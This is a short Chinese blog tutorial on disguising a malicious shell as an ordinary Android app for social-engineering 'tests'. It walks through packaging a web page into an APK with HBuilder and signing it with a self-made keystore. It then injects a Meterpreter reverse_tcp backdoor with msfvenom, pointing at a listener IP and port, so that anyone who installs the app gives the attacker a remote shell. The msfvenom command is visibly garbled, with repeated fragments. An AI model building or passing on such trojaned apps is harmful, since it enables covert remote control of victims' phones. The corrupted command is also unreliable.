浅谈Shell的伪装的艺术

admin

在网络安全中，社会工程学 已经是一种最为致命的测试手段。常常让人出其不意，今天来看看如何利用 Shell伪装的艺术 来进行社会工程学测试。

伪装的艺术

对安卓 shell 的伪装

利用 HBuilder 将 Web 页面打包成 APP 文件-新建-移动APP 配置 APP 项目

需要注意是 页面入口 便是 APP 启动后要进入的页面。

设置图标

需要注意的是图标格式为 PNG

设置启动页

打包 APP

右键项目-发行-发行原生APP

关于签名 如果你不懂关于 androdi 的前面，建议使用公用证书。但是需要实名认证。于是我这里用了自己的证书！

自建证书

在 Kali 下我们利用下面命令建立证书。

keytool -genkey -alias testalias -keyalg RSA -keysize 2048 -validity 36500 -keystore kali.keystore

Bash

 复制

这样我们便创建了一个名为 kali.keystore 的证书，输入证书的密码，位置等信息打包即可！

获取 app

在 发行-查看APP打包状态 获取已经打包好的 app

添加后门

msfvenom -p -x kali.apk android/meterpreter/reverse_tcp LHOST=192.168.232.195 LPORT=5555 R > kali1.apk=192.168.232.195 LPORT=5555 R > kali1.apk192.168.232.195 LPORT=5555 R > kali1.apk=5555 R > kali1.apk5555 R > kali1.apk> kali1.apk kali1.apk

Bash

 复制

参数说明： -x 原生 APP kali1.apk 最后生成含有后门的 app

安装 app

运行 app